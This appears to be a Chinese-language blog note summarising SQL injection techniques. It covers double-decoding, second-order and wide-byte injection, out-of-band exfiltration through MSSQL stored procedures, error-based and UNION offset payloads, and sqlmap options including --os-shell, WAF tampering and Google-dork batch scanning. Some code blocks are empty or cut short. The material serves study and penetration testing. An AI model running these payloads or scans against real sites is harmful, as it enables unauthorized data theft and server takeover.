SQL 注入总结
Abstract: SQL 注入总结,及note38-note40
笔记整理。
Table of Contents
SQL 注入原理
当 Web 应用向后台数据库传递 SQL 语句进行数据库操作时,若对用户输入的参数没有经过严格的过滤处理,攻击者可以构造特殊 SQL 语句,直接输入数据库引擎执行,获取或修改数据库中数据。
- SQL 注入漏洞本质:把用户输入的数据当作代码执行,违背了“数据与代码分离”的原则。
- SQL 注入漏洞有两个关键条件:
- 用户能控制输入内容
- Web 应用把用户输入的内容带入到数据库中执行
SQL 注入分类
二次编码原理
提交的参数到 Web 服务器时,Web 服务器会自动解码一次,若某处使用了 urldecode 或者 rawurldecode 函数,则会导致二次解码生成单引号引发注入。
1 |
|
当 POST
的数据是 id=1%2527
时,数据发送到服务端会解码一次变为 id=1%27
,由于没有敏感字符,经过 addslashes()
函数过滤后,还是 id=1%27
,此时再经过 urldecode()
解码函数,数据为 id=1'
带入到 SQL 语句如下:
1 | SELECT * FROM users WHERE id='1'' limit 0, 1 |
如把 urldecode()
函数和 addslashes()
函数交换位置,id=1%2527
经服务器解码后为 id=1%27
然后再经 urldecode()
函数解码为 id=1'
,然后再由 addslashes()
后为 id=1\'
,可以看出来返回数据。
二次注入原理
在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes
或者借助 get_magic_quotes_gpc
对其中的特殊字符进行转义,但是 addslashes
虽然参数在过滤后会添加 \
进行转义,但 \
并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者认为数据是可信的,下次需要进行查询的时候,直接从数据库中取出脏数据,没有进行检验和处理,这样会造成 SQL
的二次注入。
二次注入原理,主要分为两步:
插入恶意数据
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
引用恶意数据
将数据存入到数据库中后,开发者认为数据是可信的。下次需要查询的时候,直接从数据库中取出恶意数据,没有进行进一步的检验何处理。
宽字节注入原理
如何防止宽字节注入?
- 使用
mysql_set_charset("GBK")
- 使用
mysql_real_escape_string($id)
HTTP 头注入
HTTP
头部部分参数详解
参数 | 功能 |
---|---|
User-Agent | 浏览器向服务器表名自己的身份,使得服务器能够识别客户使用的操作系统,浏览器版本 |
Cookie | 网站为了辨别用户身份,进行 session 跟踪而储存在用户本地终端上的数据 |
X-Forwarded-For | 简称 XFF 头,它代表客户端,HTTP 请求端真是的 IP |
Referer | 浏览器向 Web 服务器表名自己从哪个页面链接过来的 |
Host | 客户端指定自己想访问的 Web 服务器的域名/ IP 地址和端口号 |
盲注步骤
- 先用
count()
判断个数 - 再用
length()
依次判断各个库名,表名,字段名的长度 - 用
ascii()
+substr()
+if()
结合判断出每个字符
外带查询原理
MSSQL
下,可以利用自带的存储过程或创建自定义的存储过程,向外发送网络请求。并利用DNSlog
接收外传的数据。常用的函数有:
xp_subdirs
xp_dirtree
xp_fileexist
xp_cmdshell
前三个存储过程的效果和使用方法几乎一致。
1 | declare @a varchar(1024); |
xp_cmdshell
要求必须为 DBA
权限下才可使用。
1 | sp_configure 'show advanced options',1; |
1 | declare @a varchar(1024); |
SQL 注入流程
信息搜集
获取数据
移位溢注(使用ACCESS和MYSQL)
可以在获取不了列名的情况下获取数据,但是要求后面的表个字段数小于前面表的字段数。
偏移注入的步骤:
- 判断注入点
- order by 判断长度
- 判断表名
- 联合查询
- 获取表中列数
- 开始偏移注入
使用新方法注入:
获取 admin 表的列数:
用 order by 24
判断出字段长度
1 | # 返回错误页面 |
判断出页面那些位置能够显示数据,比如 13, 14 可以显示数据
1 | UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,admin.*,17,18,19,20,21,22,23,24 FROM admin |
admin
表的前两列能够显示
1 | UNION SELECT 1,2,3,4,5,6,7,8,9,10,admin.*,15,1617,18,19,20,21,22,23,24 FROM admin |
admin
表的后两列能够显示
提权
sqlmap –os-shell 原理
--os-shell
流程
命令行界面:
--os-shell
需要的条件:
FILE
权限- 可写的绝对路径
PHP GPC
OFF
原理简述:通过 MySQL
的 into outfile
和 into dumpfile
向网站目录下写入 php
代码,用来执行系统命令。
MySQL 注入常用函数
函数名称 | 函数功能 | 函数名称 | 函数功能 | |
---|---|---|---|---|
system_user() | 系统用户名 | concat() | 没有分隔符地连接字符串 | |
user() | 用户名 | concat_ws() | 含有分隔符地连接字符串 | |
current_user() | 当前用户名 | group_concat() | 连接一个组所有字符串,并以逗号分隔每条数据 | |
session_user() | 连接数据库的用户名 | load_file() | 读取本地文件 | |
database() | 数据库名 | into outfile() | 写文件 | |
version() | 数据库版本 | ascii() | 字符串的 ASCII 码值 | |
@@datadir | 数据库路径 | ord() | 返回字符串第一个字符的 ASCII 值 | |
@@basedir | 数据库安装路径 | mid()/substr() | 返回一个字符串的一部分 | |
@@version_compile_os | 操作系统 | length() | 返回字符串长度 | |
count() | 返回执行结果数量 | sleep() | 让语句运行N秒钟 | |
left() | 返回字符串最左边几个字符 | if() | > select if(1>2,2,3);-> 3 | |
floor() | 返回小于或等于 x 的最大整数 | char() | 返回 ASCII 代码组成的字符串 | |
extractvalue() | 用于报错注入 | updatexml() | 用于报错注入 | |
strcmp() | 比较字符串内容 | exp() | 返回 e 的 x 次方 |
常用的报错注入语句如下:
- floor()
1 | and (select 1 from (select count(*),concat(user()/*存放要查询的 SQL 语句*/,floor(rand(0)*2))x from information_schema.tables group by x)a); |
- extractvalue()
1 | and (extractvalue(1,concat(0x7e,(select user()/*存放要查询的 SQL 语句*/),0x7e))); |
- updatexml()
1 | and (updatexml(1,concat(0x7e,(select user()/*存放要查询的 SQL 语句*/),0x7e),1)); |
sqlmap 的使用
指定 sqlmap
的探测技术
--technique=TECH
- B: Boolean-based blind SQL injection
- E: Error-based SQL injection
- U: UNION query SQL injection
- S: Stacked queries SQL injection
- T: Time-based blind SQL injection
指定注入参数
1 | sqlmap -u "url" -p "id, user-agent" |
设置代理
好处:
1. 方便测试某些网站
2. 代理关联上 `burp` ,方便我们学习 `sqlmap` 发包规则
1 | sqlmap -u "url" --proxy="http://127.0.0.1:8080" |
设置好 burp
,可以在代理界面看到 sqlmap
发送的数据包。
三种级别:详细程度/探测/风险
- 详细程度:注入时
sqlmap
的界面显示的内容详细程度,级别程度为 0-6 ,默认为 1 ,指定参数用-v
来表示。
级别 | 介绍 |
---|---|
0 | 只显示 python 错误以及严重的信息 |
1 | 同时显示基本信息和警告信息 |
2 | 同时显示 debug 信息 |
3 | 同时显示注入的 payload |
4 | 同时显示 HTTP 请求头 |
5 | 同时显示 HTTP 响应头 |
6 | 同时显示 HTTP 响应页面 |
- 探测等级:指注入的
payload
语句的复杂程度,级别为 1-5,默认为 1 。
1 | sqlmap -u "url" --level=LEVEL |
- 使用哪些
payload
也影响注入点的选择 GET/POST
都会测试,level 2
时,会测试cookie
,level 3
时,会测试User-Agent
和Referer
。
- 风险等级:指是否要使用具有不同级别风险的测试语句,级别为 1-3,默认为 1 。
1 | sqlmap -u "url" --risk=RISK |
跳过某些参数
- 跳过注入参宿
使用很大的 level
等级,但有些参数并不需要测试,就可以使用 --skip
参数。
1 | sqlmap -u "url" --skip="user-agent.referer" |
- 跳过
URL
编码
注入测试语句不经过 url
编码发送到服务器上。
- 绕过
URL
重写规则
有些时候 Web
服务器使用了 URL
重写,导致无法直接使用 sqlmap
测试参数,如 测试URL 这种格式的网址,在测试的参数后面加 *
1 | sqlmap -u "http://xxxx/info/1018*/2347.html" |
闭合注入 Payload
有些环境中,需要在注入的 payload
的前面或后面加一些字符来闭合符号,以保证 payload
的正常执行。
如:
1 |
|
这时需要使用 --prefix
和 --suffix
参数,来进行闭合:
1 | sqlmap -u "http://192.168.100.111/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc" |
这样执行的 SQL
语句变成:
1 |
|
绕过 WAF
设备
--tamper=TAMPER
,可以查看 tamper/
目录下有哪些可用的脚本。
结合 Burp
使用
复制 burp
拦截的 HTTP
请求包,保存为 1.txt
1 | sqlmap -r 'path/1.txt' |
批量扫描 burp
请求日志
- 首先配置
burp
记录所有的request
请求,并保存在指定文件夹
- 接着浏览器设置
burp
代理,访问测试 url ,查看sql.txt
。
3. 使用 `sqlmap` 扫描。
1 | sqlmap -l sql.txt --batch --smart # batch 会自动选择 yes; smart 启动快速判断,节约时间 |
批量扫描文本中的多个目标
文本中保存 url
格式如下,sqlmap
会一个一个检测。
1 | sqlmap -m url.txt |
利用正则过滤目标网址
参数:--scope
例如:只想要 www 开头,.com/.net/.org 结尾的网址
1 | sqlmap -l burp.log --scope="(www)?\.target\.(com|net|org)" |
利用谷歌批量扫
1 | sqlmap -g "inurl:\".php?id=1\"" |
关于文件写入与 shell
获取
1 | --sql-shell # 执行指定 sql 命令 |
WAF
WAF
: Web 应用防护系统,主要是对 Web 特有入侵方式的加强防护。只能防御固有特征的漏洞,无法防御逻辑漏洞/ CSRF 漏洞/SSRF 漏洞
![](/images/197WAF 分类.png)